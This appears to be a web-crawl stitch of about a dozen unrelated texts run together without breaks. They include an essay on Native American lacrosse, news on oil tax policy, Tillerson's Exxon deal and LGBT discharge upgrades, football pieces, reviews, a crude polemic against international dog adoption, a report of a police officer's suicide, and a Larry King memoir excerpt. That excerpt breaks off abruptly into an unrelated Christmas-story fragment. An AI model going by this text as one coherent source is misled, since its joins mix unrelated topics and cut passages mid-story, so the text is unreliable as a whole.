Like our athletes, the best lacrosse players trained exhaustively and intensely to keep in top shape. But unlike our athletes, they did it in strict isolation. They spent whole days in summer training, running, tumbling, and ball tossing from sun up to sundown to get ready for the customary fall season. To purify themselves, the sequestered warriors followed a special diet which excluded rabbit, a timid animal; frog, because his bones are brittle; and certain kinds of fish that move sluggishly, lest he acquire habits of these animals inimical to the game. Other taboos included consorting with women.
Shamans accompanied the players during training, making incantations to thwart the opponent a player feared the most. In one Cherokee training ritual, a shaman scratched the player’s body with a short comb made of sharpened splinters from the leg bone of a turkey. He plunged the teeth of the comb into the flesh at the shoulder and dragged it with constant pressure down the outside of the arm to the elbow. He repeated this action at a second spot on the shoulder, then a third, until the wound terminated at the now-bloody elbow—twenty-eight times. The player stood without flinching, enduring the torture, for he knew his stoic behavior during such an ordeal would ensure victory.
From the point of view of the modern contestant, participating in sport builds strength and character. One learns what it means to be a team player and to work with others. For today’s spectator, sports equal entertainment. We await our seasonal fling with basketball’s March madness, summertime baseball, college football on autumn Saturdays, and the NFL on Sundays. Though we can get caught up in wagering and in the violent aspects of the sport, in our world sports do not mirror life so much as they constitute an escape from it. Not so with the Indian.
Lacrosse was a way to settle arguments, a diplomatic tool. By agreement a contest allowed tribes to resolve territorial disputes. Ritualized battles reinforced political fellowship. When you have to hunt and gather, you can’t waste valuable time in constant warfare. This is why Indian confederacies arranged to contest one another at convenient times in the seasonal calendar. Games might be played on seasonal agrarian festivals or on the occasion of a celestial happening.
Lacrosse was also a mechanism for socialization. It promoted stability in the community by appealing to tradition. Every tribe had its own mythology about the first ball game that was played by the gods of creation. The ball that players volleyed back and forth over the land imitated the sun and the moon that moved back and forth across the sky back in the days when the gods played the game. And so, the players participated in reinforcing the cyclic conception of time common in indigenous America.
Further, lacrosse in native culture differed from the modern version in the way it went about reinforcing communalism in sports. The way Indians played the game, there was little specialization. There were no defensemen versus attackers, and there were few rules. Basically, anybody could do anything. As one might expect, on-the-field fights common in many of our team sports were rampant in the native version of stickball. Though seemingly counterproductive to the purpose of the game—it is all about winning, isn’t it?—these fisticuffs functioned as a way of toughening a man; they were a part of the individual rite of passage into manhood.
How did colonists become interested in the game of lacrosse? Two opposing things. In the summer of 1763, during the Seven Years’ War between Britain and France, the Fox played the Ojibwa in a game at Fort Michilimackinac, in what would become Michigan, to honor the birthday of King George III. The soldiers who witnessed the contest were fascinated by the rough play and the speedy back-and-forth engagement. Captivated, they began to wager with one another and root for their favorites, just like the Indian spectators. So focused on play were the troops that they were not aware that Indian women had been sneaking weapons into the fort and up toward the ring of spectators. All of a sudden, the Indians dropped their sticks, grabbed their weapons, and massacred the foreign onlookers.
In addition to being transfixed by witnessing a game in which they could have a personal stake, whites were impressed with the concept of the Indian athlete as the “noble savage.” This product of the Enlightenment survived into modern times, as white athletes idolized the Native American warrior of antiquity for his bravery, endurance, and purity in nature. Vestiges of the romanticized version of the Indian survive today in sports team names like the Redskins, the Warriors, and the Seminoles.
Thus lacrosse gained popularity among the “gentleman’s class” in Ontario, Canada, in the mid-nineteenth century. The game was quickly exported across the border into western New York State, then into the urban areas of New York, Philadelphia, and especially Baltimore and Annapolis. Advent of the synthetic stick and conversion of the field to a hockey-like box by Montreal hockey fans in the 1930s made lacrosse even more popular among whites, though it caused the game to diminish among descendants of the natives. Nonetheless, enthusiasts of the genuine article who live in the region where the Powhatan once drove the hair ball betwixt the trees can still find two-stick lacrosse being played in the Carolinas and Mississippi. Some college teams recruit skilled native stickmen. Sporadically disappearing and reappearing, today the old native game enjoys a record following. Organized professional leagues have surfaced during the past two decades, and college intramural and varsity lacrosse, which have long thrived in the northeast, are established at state universities across the South and West. The 2008 three-day NCAA Division I tournament in Philadelphia drew 125,000 fans.
Social leveler, spiritual connector, creative channeler of aggression, the gift of lacrosse from those who preceded the colonists in this land offers us one of team sports’ most important life lessons, whether we play it, witness it, or just read about it. As one Mohawk elder wrote, “Our grandfather told us that lacrosse was played for the enjoyment of the Great Spirit; everyone was important, no matter how big or small, or how strong or how weak.”
Anthony Aveni is the Russell Colgate Distinguished University Professor of Astronomy, Anthropology, and Native American Studies at Colgate University. His most recent books include People and the Sky: Our Ancestors and the Cosmos and Foundations of New World Cultural Astronomy.The House of Representatives brushed aside threats of a White House veto yesterday and voted 236 to 182 in favor of an $18 billion tax package that would rescind a tax break for the five biggest oil companies and use the revenue to boost incentives for wind and solar energy and energy efficiency.
The measure now heads to the Senate, where Democrats face a challenge in getting enough support to bring the bill to a vote. This is the fourth time in the past year that Democrats have tried to get the package adopted.
The Bush administration, Republican lawmakers and big oil companies condemned the bill, which they said would raise fuel prices for consumers, discourage oil and gas exploration in the United States and unfairly discriminate against a single industry while other manufacturers continue to enjoy tax breaks.
But hours after crude oil hit a new high of $102 a barrel on the New York Mercantile Exchange, most lawmakers said they saw no reason why the oil industry couldn't pay an additional $1.8 billion a year in taxes over the next 10 years.
"We don't think it's asking too much to ask them to assist in a partnership to help find out whether there's a better way to meet our energy needs," said Charles B. Rangel (D-N.Y.), chairman of the House Ways and Means Committee. He called the money raised from the oil giants "grains of sand on the beach."
Supporters of the measure noted that rescinded tax breaks would amount to less than 2 percent of the profits of the five biggest oil companies. Even if the companies were to pass along that entire cost to gasoline consumers, it would amount to about a penny a gallon.
Rep. Rahm Emmanuel (D-Ill.) said "Americans are being asked to pay twice" -- once at the gasoline pump and then through tax subsidies to the oil companies.
However, Rep. Kevin Brady (R-Tex.) said that "politicians are shooting at Big Oil but hitting Americans" in their wallets.
Supporters of the measure also said that by extending tax breaks for wind and solar energy, the bill would prevent the loss of jobs linked to those fast-growing industries. Solar and wind energy companies have been arguing that investment would slow sharply without an extension of investment and production tax breaks for their industries, which are set to expire at the end of the year. House Speaker Nancy Pelosi (D-Calif.) issued a statement saying that 116,000 jobs were at risk.
Republicans mostly supported the bill's renewable energy provisions, worth about $8 billion.
But at the heart of the floor debate was a provision to exclude oil and gas companies from a tax break given to U.S. manufacturers in 2004. Two years earlier, Congress had given a subsidy to manufacturers -- not including the oil industry. When the World Trade Organization ruled that the subsidy was a violation of trade accords, Congress instead came up with a provision that effectively lowered the corporate tax rate from 35 percent to 32 percent over a number of years. In addition to the traditional manufacturers that would have received the earlier subsidy, the new tax break was extended to Hollywood studios, architectural and engineering firms, and oil and gas companies.
The current bill raises $13 billion by eliminating that manufacturers' tax break for the five biggest oil companies: Exxon Mobil, Chevron, ConocoPhillips, BP and Royal Dutch Shell.
"The administration must strongly oppose" the legislation, the Office of Management and Budget said Tuesday, "because the bill would use the tax code to target tax increases on a specific industry in a way that will lead to higher energy costs to U.S. consumers and businesses." The OMB said that if the bill were sent to the president in its current form, "his senior advisors would recommend that he veto the bill."
If adopted and signed into law, the legislation would also raise about $3 billion by altering the treatment of foreign tax credits for oil companies. It would close the so-called Hummer loophole that gives tax breaks on sports-utility vehicles bought for business purposes.
To spur renewable energy, the bill would extend the production tax credit, now 2 cents a kilowatt hour, for wind for three years; after 2009, tax credits would not be able to exceed 35 percent of the value of a wind project.
The 30 percent investment tax credit for solar projects would be extended eight years for commercial customers and six years for residential customers. The current maximum credit for homeowners would be doubled to $4,000.
The legislation would also channel $2 billion into clean renewable energy bonds, which would help finance renewable energy investments by the country's politically powerful rural electric cooperatives. The bill would also expand tax credits for the installation of pumps for motor fuel with 85 percent ethanol and for purchases of plug-in hybrid vehicles.
The Bush administration called the clean energy bonds "highly inefficient" and said they could cost the federal government money outside the 10-year budget window.Irish Footballers that Played for Manchester United
From as early as 1893 Irish footballers began their relationship with Manchester United. Well actually, that's not strictly true as Manchester United did not exist back then. At that time the club was known as Newton Heath when Linfield forward John Peden crossed the Irish Sea to Manchester.
Peden was an outside left and played just one season with the Heathens before he joined Sheffield United. As Newton Heath morphed into Manchester United the path that Peden followed from Ireland to Manchester has been followed by many more Irish footballers with over 60 making at least one appearance for the Red Devils first team.
Many more made the journey but did not make the grade at United. These include Paddy Sloan from Armagh who went on to play in Serie A in Italy, football pundit Eamon Dunphy, and more recently Irish international Paul McShane.
Green Reds that Succeeded
Irish footballers have featured in almost all of Manchester United's greatest triumphs down through the years. The first European cup won by any English team was by Manchester United in 1968 in Wembley - ten years after the tragic Munich air disaster. The team on that famous night included three Irishmen; full backs Shay Brennan and Tony Dunne, and George Best. Best scored the first goal in extra time against Benfica of Portugal.
Alex Ferguson's pursuit of his own Holy Grail came to a successful conclusion when Manchester United won the 1999 Champions League Final at the Camp Nou stadium in Barcelona against Bayern Munich. Cork full back Denis Irwin played on that fateful night which yielded the second leg of an unprecedented treble for United that season.
Central to that achievement was United's captain at the time, Roy Keane. His performances during the 1998/99 season was absolutely vital to United's success. This was never more evident than his astounding and compelling performance in Turin against Juventus in the Champions League semi-final second leg.
(See: Roy Keane - Juventus)
List of Northern Irish Footballers that Played for Man Utd
The following is a full list of Northern Irish players that have played for Manchester United. Starting in the days of Newton Heath, in 1893, right up to today the list contains every Northern Irish man that has played for Manchester United first team on one occasion at least. There have been 31 footballers from Northern Ireland that have played for Manchester United including the wonderfully gifted George Best and Norman Whiteside whose career was shortened by debilitating injuries.
List of Republic of Ireland Footballers that Played for Man Utd
The following is a full list of Republic of Ireland players that have played for Manchester United. Starting with Patrick O'Connell from Dublin, who later went on to manage Barcelona, right up to current Irish first team players for Man Utd such as John O'Shea and Darron Gibson, every Irish player is listed below. There have been 32 footballers from the Republic of Ireland that have played for Manchester United.
Manchester United HistoryInteresting premise, but poor execution. This book was about 450 pages long, and would have been a better fit at 200-250 pages. There were a number of instances where we read about the main character thinking about doing something, deciding to do it, planning how to do it, remembering why he wanted to do it, and then reliving it all again WHILE he was doing in. I eventually got to the point of recognizing the pattern and then just skipping 10 - 15 pages to get past the material I had already read (in different words) several times before.
------SPOILERS BELOW------
The amount of detail that added nothing to the story was significant. The color of the houses while I am driving down the street pursuing a terrorist add nothing, for example, to the story. And I doubt anyone pursuing a terrorist would notice absolutely anything like that. I believe he would have had tunnel vision.
I had a hard time believing that the Captain would so quickly take things into his own hands without bringing in the required government agencies. And even Iran would realize that circling your border with soldiers was not going to stop an airborne virus. As others have said, the ending was extremely abrupt. We know what happened to the tanker, but that's all. What about the President? How about Cuba and Iran? The Captain and the two Seals? The book just stopped, like the author didn't know where to take the ending, or had just gotten tired of writing.
All in all, can't recommend this one.Ms Redding was 13 when the search incident happened
The US Supreme Court has ruled that school staff broke the law when they ordered a 13-year-old girl to strip while searching her for painkillers.
The Arizona school, which bans prescription and over-the-counter drugs, suspected Savana Redding, then 13, of carrying ibuprofen.
After no drugs were found in her bag, she had to remove her clothing, and then move her bra and underwear.
However, the court said individuals could not be held liable in a lawsuit.
The school principal acted on a tip-off from another student that Savana was carrying ibuprofen.
Justice David Souter said: "What was missing from the suspected facts that pointed to Savana was any indication of danger to the students from the power of the drugs or their quantity, and any reason to suppose that Savana was carrying pills in her underwear," Associated Press reported.
"We think that the combination of these deficiencies was fatal to finding the search reasonable."
The justices said the lower courts would have to determine whether Safford United School District No. 1 could be held liable.First, I'd like to say that this game could have potential, but in its current state, entirely too complicated. You spend more time on building, troop, and resource management than actually warring. Too many buildings produce units. Too many buildings with unknown purposes. Different units build different things. A few suggestions to make gameplay smoother/easier: 1. Designate one type of unit that can build ALL the things. Not females can build these things and males can build other things. 2. Reduce the number of buildings that produce units. Barracks, cavalry, artillery, and maybe keep the civic center to produce civilian units/builders. 3. Create a single place to research new technologies, rather than every single building needing to be researched individually. These three basic things I believe would improve game play dramatically and reduce complexity. Usability wise, the whole, demo, campaign, skirmish, sandbox selection needs a complete overhaul. I have no idea if what I'm selecting is what I'm actually playing half the time. Set the game mode first, then only show maps for that game mode. Make it simpler/easier. No reason why selecting a map needs to be so complicated.United on alert as Barca prepare to sell £28m Alves after Champions League exit
Dani Alves will be the first high-profile casualty as Barcelona look to rebuild their squad this summer.
Pep Guardiola's side look set to lose their European and domestic titles, both possibly to arch rivals Real Madrid - failures which will force the Spaniard into the transfer market.
Guardiola has grown tired of Brazilian Alves' lack of defensive discipline and has been frustrated by him consistently this season, particularly during Saturday's 2-1 home defeat by Real, which all but handed the league title back to Madrid.
Exit ahead: Dani Alves could be one of the big name casualties at the Nou Camp this summer
Guardiola dropped the 28-year-old to the bench for the Champions League semi-final second leg against Chelsea and he was also completely left out of the squad for the Copa Del Rey semi-final against Valencia in February.
The defender also fell out with his manager after Guardiola stopped him from making a publicity appearance for one of his sponsors earlier in the season.
Alves has a contract at the Nou Camp until 2015, meaning Barcelona feel they can attract around 35million euros (£28m) for the right-back.
Wanted: Barca are keen to sign Tottenham winger Gareth Bale
But while some of the Barcelona hierarchy feel Manchester United could be persuaded to part with that kind of money, Russian moneybags Anzhi Makhachkala seem a more likely destination.
Sir Alex Ferguson, although open to the idea of a new right back, would be unlikely to spend so much on a player nearing his thirties.
Forward Pedro is another player under threat as Guardiola - if he stays - looks to raise money for moves for Tottenham's Gareth Bale, Valencia winger Jordi Alba and - less likely - Arsenal captain Robin van Persie.Meet Jason. He’s a good looking dog with a nice coat, a kind demeanor, a wonderful smile, oh and he’s neutered. Jason is in solid health and loves human attention, it seems like a real shame that he doesn’t have any owners. Because friends, this fine dog is up for adoption, but there is one very special thing about this dog; he’s from Phuket, Thailand.
Some reasonable people may ask the question, “Why would you spend hundreds of dollars adopting a dog from Thailand when, for the same amount of money, you could easily care for 3 local stray dogs?” This is a great question but it apparently hasn’t had much impact. People appear to be clamoring to adopt international dogs rather than their boring, dull, domestic twins**.
A charity which imports street dogs from Greece (Tails from Greece) to Canada alone shipped over 292 dogs* between 2013 and 2001. With a price tag of $1,200 for a crate with 2 dogs*, I think the efficacy question with regard to charity here has to be asked. If you could spend $1 and save a single animal from location X, or spend $1 and save ten animals from location Y, how can you possibly justify choosing from X?
This case is too easy to make for an interesting post, so for that reason I only want touch the issue briefly and instead highlight this ever evolving sub culture of charitable giving within the Western world. I have played this tune before but this is just one glaring gem, charitable giving is an orthodoxy which is supported by being given a ‘bi-partisan’ political stamp (to the point where people will even argue with me that to give charity ISNT political, which is outrageous). It is through this guise that we discuss the charity issue and how it relates to adoption.
*Source:
**UK: 1, 2, 3
**Canada: 1
But let’s talk about dogs for a second.
Hypocrisy
From India to Thailand, Iran and Russia, it seems no corner of this savage world can live up to our ethical expectations for the treatment these blessed animals. Despite the unprofessional web pages, even a country like Greece apparently has stray dog problems needing international attention. No surprises are had when we find that people have no problem paying thousands for it.
But this issue goes deeper than wasting money to ship abused animals overseas, how this fixes the actual problem of stray animals (rather than addressing the Greek’s careless attitude toward dogs); it’s also a question of which animals we are even saving and why. The fact that humanity has genetically engineered the modern dog to be our dependent slaves shouldn’t now ensure them a place forever as #1 most important animal on the ethics pyramid. At times like these I like to think of the stray, starving rat. Far more numerous, and far more vulnerable to the machinations of human evil. The rat is intelligent and able to experience suffering like our K-9 comrades but they are cursed with a fast reproductive cycle, so no one ever cares about the violence and sickness which stricken the rats of this world.
We are told the justification for favoring one mammal over another by our co-workers via the most effective argument of all, a complete refusal to even address the subject. Dogs are more important than rats are because… (they aren’t ‘vermin’). For all the starvation and famine the dog may suffer on the streets of India, they still find a way to survive and reproduce; much like the rat. Which opens the question as to why we care more about the suffering of X and ignore the suffering of Y.
The Price of Ego
A dog from India is no different than a dog from the streets of New York. A dog birthed from the vagina of a genetically tested, well cared for animal is no more or less capable of suffering than a stray. The only difference is that the dog from India, much like your boring USA stray, now has a great backstory which you can now use to show everyone else how morally superior you’ve become. Like a caterpillar who has evolved into a glimmering, ethically pure butterfly, you watch as the mere mortals below you squirm beneath your all powerful gaze. With each swath of your verbal assaults you crush the immoral and purge the unclean. You say with extreme self-importance
“I can’t believe that people buy from breeders rather than adopt a stray from a shelter. There are just so many deserving dogs out there already!”
To which I hope this individual is pregnant so that you can reply,
“I can’t believe people give birth rather than adopt a child from social services. There are just so many needy children out there already!”
The sword of moral judgement, once wielded, is double sided. The answer to this supposed moral conundrum is simple, you are not moral and you are simply selfish. You adopt because its cheaper, or it’s easier, or because you feel some kinship with it (maybe you yourself were adopted). To birth a child is reasonable, although still selfish, you want immortality. But simultaneously you want to feel good about yourself and make others feel bad so you adopt the dog rather than support the live birth of an animal.
Adopting dogs does not fix the problem of stray dogs on the streets of India. No more than buying dogs from a breeder (unless your intention is to outlaw ALL dog ownership, something I would respect). On the same token, adopting children doesn’t fix the problem of a homeless child. The only difference is that you actually care a lot about the suffering of children and really only pretend to care about the suffering of other mammals (as epitomized by our refusal to adopt ‘vermin’).
Adoption vs Purchase
Adoption is a temporary solution to a terrible, systemic problem. I can respect charitable organizations who want to adopt the existing animals while simultaneously engaging in rigorous, invasive spade/neutering procedures, this seems logically consistent to me. But some charities do not. I cannot, however, justify or find respect for those who find it necessary to spend their charity money (assuming this charity money actually fixes what you want to fix, a point I’d argue) for the novelty of an ‘international’ prize.
It is merely commodification of an animal, justified by the supposed purity of charity. Like the dog that I genetically manipulate and purchase, merely so that it can match my purse; the dog that I ‘save’ from Thailand is commodified in a more grotesque way. The saved dog is now used as a subversive political statement, “I am doing my part to fix our broken, immoral world” without actually doing anything. To me, this is a greater crime than the former because it’s a complete lie, at least the former is honest selfishness. I enjoy the simplicity in that. You are purchasing an animal to own and play with. This is selfish. You have not fixed anything by adopting an animal, or adopting an international one, you’ve merely pruned the leaves from the tree of corruption that you must admit your actions are helping to grow (unless of course you are an animal rights activist).
So yes, by adopting an animal you have reduced some measure of suffering (if said dog was never to be bought), but so is purchasing a dog from other means. What of the dogs produced by puppy mills all over the USA? Those animals are still born and can still suffer. What of the dogs produced by responsible breeding? The only difference in the argument for these three is that for the latter two it’s claimed you’re economically supporting the practice when your dollar is best spent elsewhere. They tell us to stop perpetuating this evil. Really?
If you actually want to fix stray animals and stop the need for animal shelters, your dollars should be spent entirely on sterilization. Then you cruise around the USA and put all the puppy mill owners in a prison for animal abuse. Then you spend the rest of your time lobbying the government, closing down city streets, and getting in the face of every immoral asshole you can run across. both poor and rich, to try and get them to respect the suffering of animals other than humans. You want to make people stop abandoning dogs (creating strays), because it is completely immoral, akin to abandoning a child. Because this isn’t an issue you just put into a sock drawer at night time or pull out once at your dinner party. If we’re going to engage in this ethics argument and pretend to care about it then suit up because it’s going to get messy.
But most don’t do these things because the beef isn’t actually with purchase vs non-purchase, it’s about putting other people down and ingratiating yourself with the pride of this fake ‘political activism’. Adopting isn’t activism. Charity isn’t activism, it’s compliance.
A dog is a dog, its ability to experience hardship has not ceased just because it comes pre-packaged with a ‘dog training’ for dummies book. But we are told that one action is more ethical than another. To adopt is pure and to purchase is wrong in contrast. Responsibly bred dogs are ‘wasteful’ because there is this mass influx of stray dogs from cruel people who need to be enlightened.
By this token, is a healthy female birthing her own child now immoral because she did not adopt from social services? I think you’d have to admit this point and say yes; if you are going to wield the sword of moral superiority you better be wearing armor.
Unless you are an animal rights activist in India who happens to live in the USA, your decision to adopt an Indian stray dog is as ethically significant as someone’s decision to birth a genetically similar child.
It’s a neutral action.
New Trends in Society
A new trend in liberal politics is to one up each other to find out who is more socially consciousness. This ritual has gone to such an extreme that people no longer care about the logical reasons for participating in it (because it is indefensible, as shown above), nor the cost of their outrageous actions. As if to make the ritual so blatantly abusive and authoritarian, it’s no longer about buying a dog who matches your wife’s new purse; or genetically manipulating a breed so deformed that it lives half the normal age (toy breeds). No, liberalism has reached a new level of masochism, it seems only the most deformed or broken dog will do in order for you to prove your compassionate merit to the world at large.
If there is one thing we’ve learned from this most recent trend of liberalism it is that we are all born with the original sin of privilege, every action and behavior we exhibit in our broken and decadent life is to atone for this crime of existence. Forgive me father, for I was not born poor, black, in rural Mississippi, with a deformed leg or a gender identity issue. I must spend every moment of my day recognizing my inert advantages, and thus, some how work to level the playing field. Leveling the playing field is a reasonable request, the problem comes when you start suggesting policy provisions to do it. If you are checking your privilege you better be a European socialist, because we are told that anything else makes you a social-Darwinian Nazi.
To make matters worse, the majority of these individuals aren’t actively trying to fix society by attacking the root of the problem (WHY people are poor, rather than just basic charity). If they were, I’d be seeing daily protests through the streets of Detroit over the conditions of the abused. The issues are terrible, terrible enough for you to rant to your friends about the need for more welfare, but apparently not terrible enough to get arrested for it.
It seems society exists as a lash which you can ritually beat yourself with via this willful hardship. It seems we don’t want to fix society, by proposing alternatives or finding solutions (as uncomfortable as this may be); how much better it feels to continuously pluck the leaves off the very oppression tree we grow and then turn to our friends and decry their inaction
“Look at all these leaves!” they’ll cry out at the top of their lungs “Don’t you care?”
When looking at the vast tree of our societal issues I’ll be honest, I’d rather use a chainsaw.
A Brief Rant
We have reached a level of politically correct decadence that has metastasized into masturbation. But not the healthy kind, it’s the abusive, addictive form of masturbation that keeps you from having healthy relationships or engaging productively in society. The game is, who can support the most destitute from the most obscure circumstance. The dog is beyond a companion, it is now a piece of modern art, where we sing the songs of its oppression as though it were a child. Thousands of pages of backstory fill the dusty tomes of lore as we regale our dinner guests about our supposed moral superiority because we did our part. An outrage by anyone who even spends a moment considering the issue.
No one cares about the political result of the action, or the reasons for doing them. Merely that when people start deciding to measure up on who is the most socially conscious, who is the most politically correct, or who can use the most gender neutral words in their phrasings; that our messiah has come.
Pet adoption doesn’t fix the issues of stray dogs roaming around. Mass sterilization measures do that.
Forcing poor people to purchase what YOU think they should purchase (by allocating their resources for them because they are too stupid to do it themselves, food stamps, federal housing, etc.), apparently doesn’t solve poverty either since society has been doing this for hundreds of years. If the poor merely need money, then support a universal, minimum income. If that’s really the problem then there is your solution. But no one wants it because we secretly think the poor are lazy and stupid.
The price of pride in our society is to hide all these problems, perpetually, by spending money adopting rather than sterilizing, by allocating money so that the poor are forced to spend $100 a month on food-stamp approved grocery items rather than better housing for their families. This is so that you can continuously feel like you are fixing our broken capitalist system. But we know the reality, you are purposely propagating a fake ‘solution’ so that you can continuously ‘solve’ the issue by doing nothing. As you continuously spin the wheel of oppression you yourself created, the result is an overwhelming rush of “I’m doing good work here.”
Solutions are solutions, if you can save 5 dogs from suffering by sterilizing a wild stray, or save 1 dog from suffering by adopting; how is this a question of what to pick? Sterilize. You can’t have it both ways, either you choose to say people must be the most effective with their charity, dollar for dollar, or discount the entire system. And this logic goes further, if you can save 5 human lives from Africa for the cost of 1 dog adoption, how do you justify this selfishness? Are you still wearing that armor I suggested?
Given that someone will choose a dog to join their family, adoption is no more or less ethical. A silver spoon puppy can suffer and be abandoned just as well as an existing stray, it’s just less likely. Your beef isn’t with breeders, it’s with cruel people who abandon domesticated dogs.
And if you decide to adopt internationally, then unless this was your long lost companion from a past life, you might as well just void yourself from the argument altogether because it fails every metric of efficacy and common sense.
The price of pride, it seems, is simply more suffering.
AdvertisementsEditor's note: Below is an excerpt from Larry King's autobiography, "My Remarkable Journey," published by Weinstein Books and available at bookstores nationwide. Larry King anchors "Larry King Live at 9 p.m. ET on CNN.
Larry King recalls a much-needed win at the track during one of the lowest points of his life.
I was thirty-seven years old. (In 1971). I had no job. I had a couple hundred thousand dollars in debts. And a four-year-old daughter. I'd take Chaia to our secret park on our visiting days. That's when the pain cut the deepest -- looking at my daughter and knowing I had no way to support her.
Things got bleaker and bleaker. I became a recluse. By late May, I was down to forty-two dollars. My rent was paid only until the end of the month. I locked myself in my apartment wondering how bad things could possibly get. Pretty soon I wouldn't even be able to afford cigarettes. I remembered a night when I was a young man in New York, alone, cold, and without cigarettes or the money to buy them -- I had smashed open a vending machine to get a pack.
A friend called up and told me to start living like a human being again. He invited me to the track. I had nothing better to do, and I figured it would be good therapy to get out and have lunch with a friend and watch the horses come down the stretch.
I'll never forget that day. I put on a Pierre Cardin jeans outfit that had no pockets and drove to Calder Race Course. I can still see the horses warming up before the third race. There was a horse called Lady Forli -- a filly running against males.
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Normally, female horses don't beat males. We're talking cheap horses. I scanned the board and saw that she was 70-1. But my eyes really opened when I looked at the racing form. Racetrack people talk to each other. So I turned to the guy next to me and said, "You know, this horse, three races back, won in more or less the same company. Why is she 70-1?"
"Well," the guy said, "there's a couple of new horses here."
"Yeah, but she should be, like, 20-1. Not 70--1."
Screw it. I bet ten dollars on the horse to win. But I kept looking at the horse. The more I looked at this horse, the more I liked it. So I bet exactas. I bet Lady Forli on top of every other horse and below every other horse. Now I had what's called a wheel.
Larry King's life in pictures »
I kept looking at the horse. Wait a minute, I told myself, I've got four dollars left. I have a pack of cigarettes. I've gotta give the valet two bucks. That still leaves me with money to bet a trifecta.
My birthday is November 19. Lady Forli was number 11. So I bet 11 to win, 1 to place, and 9 to show.
Now I had bets in for 11 on top, 11 on bottom, and 11 to win. And I had a trifecta -- 11-1-9.
When the race began, I had two dollars left to my name -- and that was for the valet.
They broke out of the gate. The 1 broke on top, the 9 ran second, and the 11 came out third. The 11 passed the 9, passed the 1, and they ran in a straight line all around the track. There was no question about it. The 11 won by five lengths. The 1 was three lengths ahead of the 9. I had every winning ticket. |
his knees and replied, “Happy Birthday, Lord Jesus”
Merry Christmas!!
This story is better than any greeting card.A highway patrolman in Siberia has committed suicide after running over a seven-year-old girl in his car, investigators in the Buryatia Republic reported on Monday.
A highway patrolman in Siberia has committed suicide after running over a seven-year-old girl in his car, investigators in the Buryatia Republic reported on Monday.
The 32-year-old officer, who was not identified, took the girl to hospital after hitting her while returning to his station from his dinner break.
After delivering her to the hospital, the man drove into a wooded area near the town of Ust-Barguzin and shot himself in the head with his service weapon. He was found dead at the scene.
The report said the girl sustained injuries to her head and spine, but did not say if they were life threatening.
Russia has been on edge the past week following a number of gruesome traffic accidents that resulted in multiple fatalities, particularly one in Moscow on September 22 that killed seven pedestrians, including five children.President-elect Donald Trump has picked Rex Tillerson as his nominee for secretary of state. Here's what you need to know about Tillerson. (Thomas Johnson,Victoria Walker,Danielle Kunitz/The Washington Post)
Former Exxon Mobil chief Rex Tillerson has reached a retirement deal with the oil giant worth about $180 million that would sever his ties with the company if he is confirmed as Donald Trump’s secretary of state.
Under a deal reached with Exxon’s board of directors, the value of roughly 2 million deferred Exxon Mobil shares that Tillerson would have received over the next decade would be placed in an independently managed trust account, the company said in a statement late Tuesday.
[The $188 Million Question About Tillerson Joining Trump's Cabinet]
The arrangement, which Exxon said was struck in consultation with federal regulators, may address some concerns raised by congressional Democrats over the longtime energy executive’s financial ties to a company with business operations across the globe. But the Exxon deal does not appear to resolve additional concerns over the breadth of financial information, including full tax returns, sought by Congress ahead of a confirmation hearing tentatively scheduled for next week.
Tillerson’s extensive business ties to world leaders, including Russian President Vladimir Putin, are expected to be a focus of the hearing.
[Who Is Rex Tillerson?]
The proposed trust cannot hold Exxon stock, and Tillerson has committed to selling the more than 600,000 Exxon shares he owns, the company said. He also agreed not to work in the oil and gas industry for 10 years.
He would give up cash bonuses and other benefits worth about $7 million, Exxon said.
Tillerson retired a Exxon's chief executive on Dec. 31, weeks after he was announced as Trump’s dark horse pick to become the country’s top diplomat.Rastriya Samachar Samiti
KATHMANDU: Nepal’s largest wind-solar hybrid power system has come into operation in Hariharpurgadi village of Sindhuli district on Tuesday. A project initiated by the Asian Development Bank (ADB) is said to provide electricity to 83 rural households. The turbines of the power system produce 110 kilowatt-hours (kWh) of energy per day easily meeting the village’s electricity demand of 87 kWh per day.
The wind-solar hybrid system was installed under ADB’s South Asia Sub regional Economic Cooperation Power System Expansion Project. The project, with a total cost of $16.2 million, was also partly financed by the Government of Nepal, the Scaling up Of Renewable Energy Program under the Climate Investment Fund, and the local community.
“Access to clean, reliable and affordable energy will help villagers to connect to the world through Internet and mobile phones creating opportunities to boost local income,” said Mukhtor Khamudkhanov, ADB’s Country Director for Nepal. “The electricity from the mini-grid opens door for commercial activities in the village and will help small businesses get off the ground.”
This subproject, implemented by the Alternative Energy Promotion Centre (AEPC), is being hailed as an example of Government’s commitment and ADB’s efforts to scale up decentralized off grid approaches to rural energy in Nepal.
“Six years ago, the Government of Nepal, with support from ADB, launched its first mini grid wind-solar system in Dhaubadi in Western Nepal,” said Ram Prasad Dhital, Executive Director at AEPC.
According to Dhital, the success of these two projects has demonstrated wind-solar hybrid systems as a viable alternative for providing reliable energy access to rural Nepal.
“We appreciate ADB’s continued support to strengthen the power sector in Nepal and implement innovative renewable energy solutions to help the country achieve the Sustainable Development Goals,” said Prakash Mathema, Secretary at the Ministry of Population and Environment.
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Chance Seales, Media General National Correspondent - WASHINGTON (MEDIA GENERAL) - An 86-year-old World War II veteran probably never imagined that his decades-old dishonorable discharge could impact the military records of more than 100,000 other service members.
That's because their discharges all stem from the same scarlet letters: LGBT.
Beyond the issue of honor, many of the men and women dismissed by the armed forces lost their careers, access to VA health care, education benefits, retirement, certain loans, and even the right to vote in some states.
"I read an article about an 86-year-old who spent 20 years fighting with the Navy to get his WWII dishonorable discharge upgraded to honorable," recalls Patrick Burns.
Simultaneously outraged and inspired by the elderly veteran's struggle, Burns, who was working on Capitol Hill as a Brookings Institution fellow for Rep. Charlie Rangel (D-N.Y.), set about crafting the "Restore Honor To Service Members Act" two years ago.
His team wanted to make it "very easy for people -- especially people who can't afford the lawyers and the time to fight these things -- to come and get their discharges upgraded,' explained Burns.
In no time, the office phone started ringing with supporters -- many of them colleagues of Rangel in the House and Senate. The measure didn't pass in that Congress; instead, it floundered in committees chaired by Republicans, who tend to be less supportive of the measure.
But it's back again in 2015 and getting a boost in both chambers just before Veterans Day.
Sen. Brian Schatz (D-Hawaii), the bill's Senate sponsor, joined Congressmen Charlie Rangel and Mark Pocan (D-Wis.) on Thursday to remind lawmakers that approximately 114,000 service members, according to their numbers, were discharged by the military due to sexual orientation.
Schatz insisted, "It's our job to make sure that every veteran receives the honor and benefits they deserve," calling it, "shameful that there are veterans who have not been recognized for their honorable service."
He and others are proposing a streamlined process in the Department of Defense (DOD) to upgrade blatant and questionable past discharges based on sexual orientation, granting them unblemished records and access to full benefits.
